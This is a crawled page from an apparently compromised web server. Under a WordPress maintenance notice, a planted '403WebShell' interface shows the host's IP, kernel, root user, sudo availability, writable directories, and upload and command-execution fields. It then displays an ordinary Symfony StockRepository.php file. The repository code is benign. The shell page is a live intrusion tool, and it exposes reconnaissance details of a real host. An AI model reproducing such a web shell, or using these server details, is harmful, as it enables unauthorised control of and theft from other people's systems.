WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Repository/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Repository/StockRepository.php
<?php

namespace App\Repository;

use App\Entity\Stock;
use App\Entity\StockCategory;
use App\Entity\StockType;
use App\Entity\User;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\Persistence\ManagerRegistry;
use Symfony\Bridge\Doctrine\RegistryInterface;

/**
 * @method Stock|null find($id, $lockMode = null, $lockVersion = null)
 * @method Stock|null findOneBy(array $criteria, array $orderBy = null)
 * @method Stock[]    findAll()
 * @method Stock[]    findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
 */
class StockRepository extends ServiceEntityRepository
{
    public function __construct(ManagerRegistry $registry)
    {
        parent::__construct($registry, Stock::class);
    }

    // /**
    //  * @return Stock[] Returns an array of Stock objects
    //  */

    public function findContributorPending()
    {
        $pc= $this->createQueryBuilder('s')
            ->innerJoin('s.contributor','c')
            ->select("count(s.id) as stock_count , c.id as contributor_id,c.FirstName,c.FirstName,c.LastName")
            ->addSelect('MAX(s.createAt) as lastUpdate')
            ->where('s.status = :pending') //pending
            ->setParameter('pending', Stock::PENDING_STOCK)
            ->groupBy('c.id')
            ->orderBy('c.joinedOn', 'DESC')
            ->getQuery();
            $sql=$pc->getSQL();
           return $pc->getResult();
    }

    public function homeSearchId($id)
    {
        return $this->createQueryBuilder('s')
            ->where('s.id = :search')
            ->setParameter('search', $id);
    }

    public function homeSearch($search, $type)
    {
        return $this->createQueryBuilder('s')
            ->where('s.title LIKE :search')
            ->orWhere('s.keywords LIKE :search')
            ->orWhere('s.id LIKE :search')
            ->andWhere('s.type = :type')
            ->andWhere('s.Published = 1')
            ->orderBy('s.createAt', 'DESC')
            ->setParameter('search', '%'.$search.'%')
            ->setParameter('type', $type);
    }

    public function getPublishedWithQueryBuilder($type)
    {
        return $this->createQueryBuilder('s')
            ->where('s.Published = :val')
            ->orderBy('s.createAt', 'DESC')
            ->andWhere('s.type = :type')
            ->setParameter('val', 1)
            ->setParameter('type', $type);
    }
    public function findSimilarShootStock(Stock $stock)
    {
        return $this->createQueryBuilder('s')
            ->where('s.SameShootCode = :code')
            ->andWhere('s.Published = :published')
            ->andWhere('s.id != :id')
            ->andWhere('s.type = :type')
            ->setParameter('code', $stock->getSameShootCode())
            ->setParameter('published', true)
            ->setParameter('id', $stock->getId())
            ->setParameter('type', $stock->getType())
            ->getQuery()
            ->getResult();
    }

    public function findStocksByType(StockType $type)
    {
        return $this->createQueryBuilder('s')
            ->where('s.type = :type')
            ->andWhere('s.Published = :published')
            ->andWhere('s.contributorSuspended is  null')
            ->orWhere('s.contributorSuspended <1 ')
            ->setParameter('published', Stock::PUBLISHED_STOCK)
//            ->orderBy('s.ThumbHeight')
            ->addOrderBy('s.ThumbWidth','ASC')
//            ->setParameter('suspended', 1)
            ->setParameter('type', $type);

    }


    public function findStocksByCategory(StockCategory $category, StockType $type)
    {
        return $this->createQueryBuilder('s')
            ->where('s.category = :category')
            ->orWhere('s.category2 = :category')
            ->andWhere('s.Published = :published')
            ->andWhere('s.type = :type')
            ->setParameter('published', Stock::PUBLISHED_STOCK)
            ->setParameter('type', $type)
            ->setParameter('category', $category);
    }

    public function countContributorsApprovedStock(User $contributor, StockType $type)
    {
        $count = 0;
        try {
            $count = $this->createQueryBuilder('s')
                ->select('COUNT(s.id) as count')
                ->join('s.type', 'type')
                ->join('s.contributor', 'contributor')
                ->where('contributor = :contrib')
                ->andWhere('s.status = :status')
                ->andWhere('s.type = :type')
                ->setParameter('contrib', $contributor)
                ->setParameter('status', Stock::PUBLISHED_STOCK)
                ->setParameter('type', $type)
                ->getQuery()
                ->getSingleScalarResult();
        }catch (\Exception $exception){
            //
        }
        return $count;
    }



    /*
    public function findOneBySomeField($value): ?Stock
    {
        return $this->createQueryBuilder('s')
            ->andWhere('s.exampleField = :val')
            ->setParameter('val', $value)
            ->getQuery()
            ->getOneOrNullResult()
        ;
    }
    */
}

Youez - 2016 - github.com/yon3zu
LinuXploit